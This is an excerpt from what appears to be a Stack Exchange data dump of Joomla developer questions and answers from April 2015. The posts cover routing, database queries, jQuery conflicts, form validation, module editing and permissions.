  <row Id="9412" PostTypeId="2" ParentId="9411" CreationDate="2015-04-10T05:22:59.303" Score="4" Body="&lt;p&gt;You can contact Rocket Theme support for responsive version of the theme(If they have one). Or you should hire a developer and a designer to convert your existing theme to responsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla 3.x comes with responsive theme by-default. If you are using Joomla 3.x. Try to switch to default template and check if switching template and then apply your current theme changes is shortest development path or directly work on Rocket theme changes are.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-10T05:22:59.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9413" PostTypeId="2" ParentId="7635" CreationDate="2015-04-10T06:04:42.943" Score="2" Body="&lt;p&gt;As you are enabling compression of JavaScript and CSS files with &lt;code&gt;Gzip&lt;/code&gt;. You need to make sure you have installed Apache module &lt;code&gt;mod_deflate&lt;/code&gt; and the module is enabled. You can check this in &lt;code&gt;phpinfo();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As enable of &lt;code&gt;Gzip&lt;/code&gt; compression will add &lt;code&gt;&amp;lt;IfModule mod_deflate.c&amp;gt;&lt;/code&gt; line to your &lt;code&gt;.htaccess&lt;/code&gt; file. SO the module should be enabled to be used by Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can further check other modules used in &lt;code&gt;.htaccess&lt;/code&gt; as well. I believe is the only reason of Apache crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further discussion of &lt;code&gt;check/install&lt;/code&gt; of &lt;code&gt;mod_deflate&lt;/code&gt; is &lt;a href=&quot;https://stackoverflow.com/questions/970151/how-to-check-mod-deflate-is-enabled-in-apache&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3869" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-10T06:04:42.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9414" PostTypeId="1" CreationDate="2015-04-10T07:37:07.357" Score="0" ViewCount="569" Body="&lt;p&gt;What I am trying to do is get the router for the component (iCagenda) to work with a url of this form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com/index.php/events/register?eid=1111, where I can map eid to the item id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The deafult is mysite.com/index.php/events/id-alias/register&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the component's router, there is a function iCagendaBuildRoute( &amp;amp;$query )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function returns $segments (for the url string I guess), and I have it working so that the $segments array is the same whether the url form is default or as I have above. I thought that was good sign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then in the function iCagendaParseRoute( $segments )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $segments variable is not the same as returned in iCagendaBuildRoute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it has something to do with the local versus global variables. Joomla must be doing some additional checking which is resulting in the passed version of $segments to be different...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure this out...&lt;/p&gt;&#xA;" OwnerUserId="2321" LastEditorUserId="2321" LastEditDate="2015-04-10T09:58:38.813" LastActivityDate="2015-04-10T09:58:38.813" Title="How to force component to route without item id in url?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9415" PostTypeId="2" ParentId="9414" CreationDate="2015-04-10T07:48:22.660" Score="1" Body="&lt;p&gt;If you are passing value such as &lt;code&gt;?eid=111&lt;/code&gt;. You can retrieve that with Joomla Input method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('eid', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First argument of get is key name of URL query string, where second argument is default value in case there is no value detected for &lt;code&gt;eid&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-10T07:48:22.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9416" PostTypeId="1" CreationDate="2015-04-10T08:19:23.740" Score="1" ViewCount="2232" Body="&lt;p&gt;I don't have much Joomla or PHP experience so I'm probably missing something really simple. I'm trying to load a certain list of user IDs into an array. This code works except it only loads one result.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = 'SELECT user_id FROM #__user_usergroup_map WHERE group_id = ' . $usergroup;&#xA;$usersInGroup = array();&#xA;$usersInGroup[] = $this-&amp;gt;app-&amp;gt;database-&amp;gt;queryResult($sql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does queryresult() only support single results? Is there a different method that I can use that supports multiple results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="4048" LastActivityDate="2019-02-20T12:20:45.060" Title="Retrieving multiple results from the database" Tags="|php|sql|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9417" PostTypeId="1" AcceptedAnswerId="9445" CreationDate="2015-04-10T09:27:08.747" Score="1" ViewCount="112" Body="&lt;p&gt;I'm having a lot of troubles with JQuery libraries...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fixing a client's website...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He has VM2 and Joomla 2.5. VirtueMart 2 uses JQuery 1.6; but the template of the website, which uses Helix framework, uses JQuery 1.8, even 1.7...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to make JQuery 1.6 and 1.8 co-exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I enable JQuery 1.6 with JQuery Easy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coments tabs, Fancybox, Slider and Login pop-up won't work...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I enable JQuery 1.7 / 1.8:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Products variants and 'add to cart' from Product details won't work...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So... what should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can check the website in the next link: &lt;a href=&quot;http://www.benaventegrow.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.benaventegrow.com/&lt;/a&gt;&lt;/strong&gt;&#xA;&lt;strong&gt;I have enabled JQuery 1.6.4 with JQuery Easy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to make all the page works but product variants. I need to implement JQuery 1.6.4 for making it work...&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="3573" LastEditDate="2015-04-10T11:32:23.883" LastActivityDate="2015-04-13T11:56:13.400" Title="Make JQuery 1.6 and 1.8 co-exist" Tags="|jquery|virtuemart|template-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9418" PostTypeId="1" AcceptedAnswerId="9419" CreationDate="2015-04-10T10:01:32.800" Score="2" ViewCount="184" Body="&lt;p&gt;I am slowly getting my head around PHP but being self taught, it is taking a while :p&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway... I have installed the SP Weather module but have come across a problem. I would like to display the wind speed in MPH but the temperature in celcius.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module only allows you to select imperial or metric for all settings so I can't, without editing the code, adapt it to do what I want it to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a look in the code but need some help. Does anyone know how I can do this? Code is below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;$location   = (trim($params-&amp;gt;get('locationTranslated'))=='') ? $params-&amp;gt;get('location') : $params-&amp;gt;get('locationTranslated');&#xA;$forecast = $data['forecast'];&#xA;$data = $data['query']['results']['rss']['channel'];&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;weather_sp1_id&amp;lt;?php echo $moduleID; ?&amp;gt;&quot; class=&quot;weather_sp1&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;weather_sp1_c&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;weather_sp1_cleft&quot;&amp;gt;&#xA;&#xA;            &amp;lt;img class=&quot;spw_icon_big&quot; src=&quot;&amp;lt;?php echo  $helper-&amp;gt;icon( $data['item']['condition']['code'] ) ?&amp;gt;&quot; title=&quot;&amp;lt;?php &#xA;            echo $helper-&amp;gt;txt2lng($data['item']['condition']['text']);&#xA;            ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $helper-&amp;gt;txt2lng($data['item']['condition']['text']); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;br style=&quot;clear:both&quot; /&amp;gt;&#xA;            &amp;lt;p class=&quot;spw_current_temp&quot;&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('tempUnit')=='f') { ?&amp;gt;&#xA;                &amp;lt;?php echo  $data['item']['condition']['temp']. JText::_('SP_WEATHER_F'); ?&amp;gt;   &#xA;                &amp;lt;?php } else { ?&amp;gt;&#xA;                &amp;lt;?php echo $data['item']['condition']['temp']. JText::_('SP_WEATHER_C'); ?&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;weather_sp1_cright&quot;&amp;gt;&#xA;            &amp;lt;?php if($params-&amp;gt;get('city')==1) { ?&amp;gt;&#xA;            &amp;lt;p class=&quot;weather_sp1_city&quot;&amp;gt;&amp;lt;?php echo $location ?&amp;gt;&amp;lt;/p&amp;gt; &#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if($params-&amp;gt;get('condition')==1) { ?&amp;gt;&#xA;            &amp;lt;div class=&quot;spw_row&quot;&amp;gt;&amp;lt;?php&#xA;            echo $helper-&amp;gt;txt2lng($data['item']['condition']['text']); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if($params-&amp;gt;get('humidity')==1) { ?&amp;gt;&#xA;            &amp;lt;div class=&quot;spw_row&quot;&amp;gt;&amp;lt;?php echo JText::_('SP_WEATHER_HUMIDITY');  ?&amp;gt;: &amp;lt;?php echo $helper-&amp;gt;Numeric2Lang($data['atmosphere']['humidity']); ?&amp;gt;%&amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if($params-&amp;gt;get('wind')==1) { ?&amp;gt;&#xA;            &amp;lt;div class=&quot;spw_row&quot;&amp;gt;&amp;lt;?php echo JText::_('SP_WEATHER_WIND');  ?&amp;gt;: &amp;lt;?php &#xA;&#xA;            $compass = array('N', 'NNE', 'NE', 'ENE', 'E', 'ESE', 'SE', 'SSE', 'S', 'SSW', 'SW', 'WSW', 'W', 'WNW', 'NW', 'NNW', 'N');&#xA;&#xA;            $data['wind']['direction'] = $compass[round($data['wind']['direction'] / 22.5)];&#xA;&#xA;            echo JText::_($data['wind']['direction']) . JText::_('SP_WEATHER_AT') . $helper-&amp;gt;Numeric2Lang($data['wind']['speed']) . ' ' . JText::_(strtoupper($data['units']['speed'])); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;      &#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php if ($params-&amp;gt;get('forecast')!='disabled') { ?&amp;gt;&#xA;    &amp;lt;div class=&quot;weather_sp1_forecasts&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;&#xA;        $fcast = (int) $params-&amp;gt;get('forecast');&#xA;        $j = 1;&#xA;        unset($forecast[0]);&#xA;&#xA;        foreach($forecast as $i=&amp;gt;$value )&#xA;        { &#xA;&#xA;            if($fcast&amp;lt;$j) break;&#xA;&#xA;            if ($params-&amp;gt;get('tmpl_layout')=='list') { ?&amp;gt;&#xA;            &amp;lt;div class=&quot;list_&amp;lt;?php echo ($i%2 ? 'even' : 'odd') ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;weather_sp1_list_day&quot;&amp;gt;&amp;lt;?php &#xA;                echo $helper-&amp;gt;txt2lng($value['day']); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;weather_sp1_list_temp&quot;&amp;gt;&amp;lt;?php &#xA;                echo $helper-&amp;gt;convertUnit( $value['low'], $data['units']['temperature']) . '&amp;amp;nbsp;' . $params-&amp;gt;get('separator') . '&amp;amp;nbsp;' . $helper-&amp;gt;convertUnit( $value['high'], $data['units']['temperature']); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;weather_sp1_list_icon&quot;&amp;gt;&amp;lt;img class=&quot;spw_icon&quot; src=&quot;&amp;lt;?php &#xA;&#xA;                echo $helper-&amp;gt;icon( $value['code'] ); ?&amp;gt;&quot; align=&quot;right&quot; title=&quot;&amp;lt;?php&#xA;&#xA;                echo $helper-&amp;gt;txt2lng( $value['text'] );&#xA;&#xA;                ?&amp;gt;&quot; alt=&quot;&amp;lt;?php    echo $helper-&amp;gt;txt2lng($value['text']); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;            &#xA;            &amp;lt;?php } else { ?&amp;gt; &#xA;            &amp;lt;div class=&quot;block_&amp;lt;?php echo ($i%2 ? 'even' : 'odd') ?&amp;gt;&quot; style=&quot;float:left;width:&amp;lt;?php echo round(100/$fcast) ?&amp;gt;%&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;weather_sp1_day&quot;&amp;gt;&amp;lt;?php &#xA;                echo $helper-&amp;gt;txt2lng($value['day']); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;br style=&quot;clear:both&quot; /&amp;gt;&#xA;                &amp;lt;span class=&quot;weather_sp1_icon&quot;&amp;gt;&amp;lt;img  class=&quot;spw_icon&quot; src=&quot;&amp;lt;?php echo $helper-&amp;gt;icon( $value['code'] ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php &#xA;                echo $helper-&amp;gt;txt2lng($value['text']);&#xA;                ?&amp;gt;&quot; alt=&quot;&amp;lt;?php &#xA;                echo $helper-&amp;gt;txt2lng($value['text']);&#xA;                ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&amp;lt;br style=&quot;clear:both&quot; /&amp;gt;&#xA;            &amp;lt;span class=&quot;weather_sp1_temp&quot;&amp;gt;&amp;lt;?php &#xA;            echo $helper-&amp;gt;convertUnit( $value['low'], $data['units']['temperature']) . '&amp;amp;nbsp;' . $params-&amp;gt;get('separator') . '&amp;amp;nbsp;' . $helper-&amp;gt;convertUnit( $value['high'], $data['units']['temperature']);&#xA;            ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;br style=&quot;clear:both&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;?php&#xA;&#xA;        $j++;&#xA;    } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="3890" LastActivityDate="2015-04-10T10:39:02.287" Title="Change PHP code for Joomla Module" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9419" PostTypeId="2" ParentId="9418" CreationDate="2015-04-10T10:39:02.287" Score="4" Body="&lt;p&gt;It looks like this is because the unit parameter is actually passed to the web service (Yahoo?) that is used to get the data. You might want to just do the conversion yourself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JText::_($data['wind']['direction']) . JText::_('SP_WEATHER_AT') . $helper-&amp;gt;Numeric2Lang($data['wind']['speed']) . ' ' . JText::_(strtoupper($data['units']['speed'])); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the line you need to edit I think. Replace &quot;' ' . JText::_(strtoupper($data['units']['speed']))&quot; with ' MPH' to print your unit. Then replace &quot;$data['wind']['speed']&quot; with &quot;round($data['wind']['speed']/1.6)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you set it to celsius it should show speed in mph. Not tested so typos in code are likely, but the idea should work.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-04-10T10:39:02.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9420" PostTypeId="2" ParentId="9366" CreationDate="2015-04-10T10:52:12.307" Score="2" Body="&lt;p&gt;Been doing some further research on this...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;JTable bind()&lt;/code&gt; seems to be the preferred method based on the Joomla Component Creator to &lt;strong&gt;manipulate data before saving&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;JModelAdmin getItem()&lt;/code&gt; seems to make sense for &lt;strong&gt;manipulating data before display in the admin form&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-04-10T10:52:12.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9421" PostTypeId="1" AcceptedAnswerId="9427" CreationDate="2015-04-10T11:02:08.877" Score="1" ViewCount="551" Body="&lt;p&gt;Why the form validation does not work on Safari ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried not to load the &lt;code&gt;JHTML::_(behavior.formvalidator)&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I load the fields from the XML file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;title&quot; &#xA;    type=&quot;text&quot;&#xA;    label=&quot;COM_MYCOMP_LBL_TITLE&quot;&#xA;    required=&quot;true&quot;  &#xA;    class=&quot;form-control&quot;&#xA;/&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;jform_title&quot; class=&quot;form-control required&quot; type=&quot;text&quot; aria-required=&quot;true&quot; required=&quot;required&quot; value=&quot;&quot; name=&quot;jform[title]&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This result contains the attributes of validation&#xA;aria-required=&quot;true&quot; required=&quot;required&quot; that I would not use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I turn off html5fallback.js and use a different library of validation ?&lt;/p&gt;&#xA;" OwnerUserId="3884" LastEditorUserId="3869" LastEditDate="2015-04-10T13:16:03.540" LastActivityDate="2015-04-11T00:53:42.050" Title="Joomla 3 form validation" Tags="|form|joomla-3.4|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9422" PostTypeId="2" ParentId="9416" CreationDate="2015-04-10T13:06:28.927" Score="-2" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$list = $db-&amp;gt;setQuery('select * from #__users')-&amp;gt;loadAssocList();&#xA;print_r($list);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4049" LastActivityDate="2015-04-10T13:06:28.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9424" PostTypeId="2" ParentId="9406" CreationDate="2015-04-10T13:12:56.450" Score="1" Body="&lt;p&gt;I use this snippet directly on view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel('NameOfModel','NameOfComponent', array('ignore_request' =&amp;gt; false));&#xA;$model-&amp;gt;myMethod(yourparam1, yourparam2 etc);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4049" LastActivityDate="2015-04-10T13:12:56.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9425" PostTypeId="2" ParentId="9416" CreationDate="2015-04-10T13:37:43.923" Score="2" Body="&lt;p&gt;The &quot;official&quot; Joomla way is to use the JDatabaseQuery class to create the query and give it to the Database layer. Then you use the loadAssocList or loadObjectList function to get a array with all rows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*');&#xA;$query-&amp;gt;from('#__users_usergroup_map');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('group_id').' = ' . $db-&amp;gt;quote($usergroup));&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadObjectList(); // alternative $db-&amp;gt;loadAssocList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$result&lt;/code&gt; is a array with all rows from the Database.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2015-04-10T13:37:43.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9427" PostTypeId="2" ParentId="9421" CreationDate="2015-04-10T18:35:26.237" Score="4" Body="&lt;p&gt;The &lt;code&gt;required=&quot;required&quot;&lt;/code&gt; is standard HTML5 validation, - the html5fallback.js is just a polyfill for those browsers that do not support html5 validations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question add &lt;code&gt;novalidate&lt;/code&gt; to your &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form novalidate&amp;gt;&#xA;....&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This turns off html5 validation.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastEditorUserId="1629" LastEditDate="2015-04-11T00:53:42.050" LastActivityDate="2015-04-11T00:53:42.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9429" PostTypeId="1" AcceptedAnswerId="9580" CreationDate="2015-04-10T23:01:55.233" Score="10" ViewCount="4786" Body="&lt;p&gt;By default the custom component can be seen under 'Extensions' menu at admin side.  But how can I create my own menu at the top near to 'Extensions' menu like 'My Component' and show sub menu links under that?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2020-10-16T10:46:43.477" Title="How to add separate admin menu for custom component" Tags="|joomla-3.x|administrator|menu|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9431" PostTypeId="1" AcceptedAnswerId="9432" CreationDate="2015-04-11T11:48:40.373" Score="0" ViewCount="895" Body="&lt;p&gt;I am using latest version of joomla 3.4.1, but facing one problem is that when i create new module from joomla administrator module manger and selecting custom html after saving that module its not showing in the module list or if i want to rename my already created module name not showing renamed title name but when i switch to hathor template all the functionality works properly why it is not working for isis template don't know is there any settings from joomla 3.4  admin please suggest some solution.&lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="4053" LastEditDate="2015-04-13T06:45:49.747" LastActivityDate="2015-04-13T06:45:49.747" Title="After updating to Joomla3.4 version new module is not saving for isis template" Tags="|module|templates|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9432" PostTypeId="2" ParentId="9431" CreationDate="2015-04-11T12:41:20.603" Score="1" Body="&lt;p&gt;It is common pitfall to forget some filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to Clear all Module Manager filters and sort by ID desc to find the latest inserted module. &lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-11T12:41:20.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9433" PostTypeId="1" CreationDate="2015-04-11T13:33:21.603" Score="5" ViewCount="46" Body="&lt;p&gt;I am pretty new to joomla.&#xA;Hope you guys can help me out with a simple problem.&#xA;I am trying to add a new field in this form&#xA;&lt;a href=&quot;http://nanyangacademics.techiequickie.com/index.php/browsetutors&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://nanyangacademics.techiequickie.com/index.php/browsetutors&lt;/a&gt;&#xA;(you have to click on this)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OFZWN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then a pop up opens, but unable to find where is this form and the fields, I would like to add a remarks field. TKs.&lt;/p&gt;&#xA;" OwnerUserId="4055" LastEditorUserId="1629" LastEditDate="2015-04-11T15:12:37.910" LastActivityDate="2015-04-11T18:13:36.840" Title="Joomla adding field" Tags="|joomla-2.5|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9434" PostTypeId="2" ParentId="9433" CreationDate="2015-04-11T18:13:36.840" Score="3" Body="&lt;p&gt;The button on your site displays the URL &lt;a href=&quot;http://nanyangacademics.techiequickie.com/index.php/processrequest&quot; rel=&quot;nofollow&quot;&gt;http://nanyangacademics.techiequickie.com/index.php/processrequest&lt;/a&gt; as an Iframe in the modal window. You have to find out where &lt;em&gt;that&lt;/em&gt; page is generated. It's probably a component, so look for any component with &quot;form&quot; in the name in your admin area under the &quot;Components&quot; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you disable SEF urls (in Global Configuration), the URL might show what component is used when visiting the site.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-11T18:13:36.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9435" PostTypeId="1" CreationDate="2015-04-11T18:35:56.447" Score="3" ViewCount="844" Body="&lt;p&gt;Can I allow users to PUBLISH articles in certain categories without giving them the ability to publish to any category. It seems that they can create articles but then the article requires someone with PUBLISH permission to actually publish the article.&lt;/p&gt;&#xA;" OwnerUserId="4050" LastActivityDate="2020-05-14T21:55:14.383" Title="Can I allow front-end users to PUBLISH articles in specific categories?" Tags="|articles|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9436" PostTypeId="1" CreationDate="2015-04-11T20:52:31.370" Score="1" ViewCount="416" Body="&lt;p&gt;I've been searching without success a plugin that might split Joomla's read queries to one endpoint and write queries to another endpoint. This would enable us to use Amazon RDS's read replicas (MySQL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to achieve this, or if there is some plugin/extension available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I tried to do my own driver based on what was suggested in one of the answers, I did not suceed to make it work. I created a gist so anybody can easily help me solve the issue: &lt;a href=&quot;https://gist.github.com/siran/77d65f9375cf7b787c83/revisions&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/siran/77d65f9375cf7b787c83/revisions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4057" LastEditorUserId="4057" LastEditDate="2015-04-13T17:39:49.607" LastActivityDate="2016-05-16T14:31:40.367" Title="Modified database layer to use Amazon RDS's read replicas and master in MySQL" Tags="|database|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9437" PostTypeId="2" ParentId="9436" CreationDate="2015-04-11T21:26:10.953" Score="2" Body="&lt;p&gt;To play with MySQL configutation, the solution is beyond a system plugin. It has to catch every query and manage the applied configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, the best solution would be to create a new database driver (or modify one of the core drivers). For example, you can create a &lt;strong&gt;mysqliaws.php&lt;/strong&gt; and modify the required files to add it into the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, Amazon could have its own PHP driver to route queries to the right instance.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-11T21:26:10.953" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
